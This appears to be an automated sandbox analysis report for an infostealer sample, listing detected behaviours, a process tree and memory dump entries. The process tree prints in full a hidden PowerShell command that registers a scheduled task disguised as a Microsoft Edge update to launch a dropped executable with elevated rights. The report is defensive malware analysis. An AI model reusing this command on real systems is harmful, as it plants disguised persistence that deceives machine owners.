Analysis
- max time kernel
150s - max time network
156s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
- submitted
20/07/2026, 04:04
General
- Target 2026-07-20_7b7b10bd1cc69fbfeeb969fbdc85b509_akira_glassworm_rusty-stealer.exe
- Size 50.0MB
- Sample260720-endbbaht4v
- SHA256 ff8668a16f45854e92989c207cc3cc3326d4ea4c43259cfb4b8aef455027c2ce
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 1 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Hide Artifacts: Hidden Window 1 TTPs 2 IoCs
Windows that would typically be displayed when an application carries out an operation can be hidden.
- Suspicious behavior: EnumeratesProcesses 24 IoCs
- Suspicious use of AdjustPrivilegeToken 6 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\2026-07-20_7b7b10bd1cc69fbfeeb969fbdc85b509_akira_glassworm_rusty-stealer.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-20_7b7b10bd1cc69fbfeeb969fbdc85b509_akira_glassworm_rusty-stealer.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exe"cmd.exe" /c start /b powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$s=New-Object -ComObject 'Schedule.Service';$s.Connect();$f=$s.GetFolder('\');$t=$s.NewTask(0);$t.RegistrationInfo.Description='Microsoft Edge Update Task';$tr=$t.Triggers.Create(9);$tr.Delay='PT1M30S';$a=$t.Actions.Create(0);$a.Path='C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinX\Minecraft.exe';$t.Principal.RunLevel=1;$f.RegisterTaskDefinition('MicrosoftEdgeUpdateTaskCore', $t, 6, $null, $null, 3);"2⤵
- Hide Artifacts: Hidden Window
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$s=New-Object -ComObject 'Schedule.Service';$s.Connect();$f=$s.GetFolder('\');$t=$s.NewTask(0);$t.RegistrationInfo.Description='Microsoft Edge Update Task';$tr=$t.Triggers.Create(9);$tr.Delay='PT1M30S';$a=$t.Actions.Create(0);$a.Path='C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinX\Minecraft.exe';$t.Principal.RunLevel=1;$f.RegisterTaskDefinition('MicrosoftEdgeUpdateTaskCore', $t, 6, $null, $null, 3);"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinX\Minecraft.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinX\Minecraft.exe1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exe"cmd.exe" /c start /b powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$s=New-Object -ComObject 'Schedule.Service';$s.Connect();$f=$s.GetFolder('\');$t=$s.NewTask(0);$t.RegistrationInfo.Description='Microsoft Edge Update Task';$tr=$t.Triggers.Create(9);$tr.Delay='PT1M30S';$a=$t.Actions.Create(0);$a.Path='C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinX\Minecraft.exe';$t.Principal.RunLevel=1;$f.RegisterTaskDefinition('MicrosoftEdgeUpdateTaskCore', $t, 6, $null, $null, 3);"2⤵
- Hide Artifacts: Hidden Window
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$s=New-Object -ComObject 'Schedule.Service';$s.Connect();$f=$s.GetFolder('\');$t=$s.NewTask(0);$t.RegistrationInfo.Description='Microsoft Edge Update Task';$tr=$t.Triggers.Create(9);$tr.Delay='PT1M30S';$a=$t.Actions.Create(0);$a.Path='C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinX\Minecraft.exe';$t.Principal.RunLevel=1;$f.RegisterTaskDefinition('MicrosoftEdgeUpdateTaskCore', $t, 6, $null, $null, 3);"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
StartupProfileData-NonInteractive
memory/2760-12-0x00007FFCCAED0000-0x00007FFCCB874000-memory.dmp
memory/2760-8-0x00000294BD300000-0x00000294BD322000-memory.dmp
memory/2760-9-0x00007FFCCAED0000-0x00007FFCCB874000-memory.dmp
memory/2760-10-0x00007FFCCAED0000-0x00007FFCCB874000-memory.dmp
memory/2760-11-0x00007FFCCAED0000-0x00007FFCCB874000-memory.dmp
memory/2760-4-0x00007FFCCB05F000-0x00007FFCCB060000-memory.dmp
memory/2760-13-0x00007FFCCAED0000-0x00007FFCCB874000-memory.dmp
memory/2760-14-0x00007FFCCAED0000-0x00007FFCCB874000-memory.dmp
memory/2760-15-0x00007FFCCAED0000-0x00007FFCCB874000-memory.dmp
memory/2760-17-0x00007FFCCAED0000-0x00007FFCCB874000-memory.dmp
memory/2760-18-0x00007FFCCAED0000-0x00007FFCCB874000-memory.dmp
memory/2760-7-0x00007FFCCAED0000-0x00007FFCCB874000-memory.dmp